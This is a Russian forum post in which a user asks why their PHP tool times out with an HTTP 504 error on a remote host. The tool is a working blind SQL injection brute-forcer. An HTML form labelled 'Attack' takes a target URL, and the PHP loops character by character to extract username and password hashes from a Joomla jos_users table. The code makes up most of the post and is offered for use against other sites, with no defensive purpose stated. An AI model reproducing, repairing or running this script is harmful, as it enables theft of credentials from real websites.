krobol
Постоялец
- Регистрация
- 5 Июн 2008
- Сообщения
- 455
- Реакции
- 126
- Автор темы
- #1
У меня есть программка с web-интерфейсом
1 файл .html - страничка на которой запрашиваются параметры для передачи их в .php-страничку:
php-страничка
на PHP идёт перебор символов и запросы к web-серверу. Всё это происходит долго - 15-30 мин.
Когда я запускаю это на своей машине с Денвером, то всё работает номально.
Но если заливаю эти два файла на удаленный хост, то при запуске через какое-то время выдаётся ошибка:
"HTTP-шлюз не отвечает (код ошибки: 504)"
Что я делаю неправильно?
1 файл .html - страничка на которой запрашиваются параметры для передачи их в .php-страничку:
HTML:
<body>
<form action="brute.php" method="post">
Цель:<br /><input name="s" type="text" size="150" maxlength="150" /><br />
<br /><input name="submit" type="submit" value="Атака" />
</form>
</body>
php-страничка
PHP:
<?php
ini_set("max_execution_time",0); // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ini_set('user_agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9');
$s = $_POST['s'];
$ret_str="";
for ($i=1;$i<100;$i++)
{
for ($j=42;$j<123;$j++)
{
$query = "+and+ascii(substring((SELECT+concat(username,0x3a,password,0x3a)+from+jos_users+limit+0,1),$i,1))=$j";
$res = file_get_contents($s.$query);
if (strlen($res) > что-то)
{
$ret_str=$ret_str.chr($j);
break;
}
}
}
print "$ret_str";
?>
на PHP идёт перебор символов и запросы к web-серверу. Всё это происходит долго - 15-30 мин.
Когда я запускаю это на своей машине с Денвером, то всё работает номально.
Но если заливаю эти два файла на удаленный хост, то при запуске через какое-то время выдаётся ошибка:
"HTTP-шлюз не отвечает (код ошибки: 504)"
Что я делаю неправильно?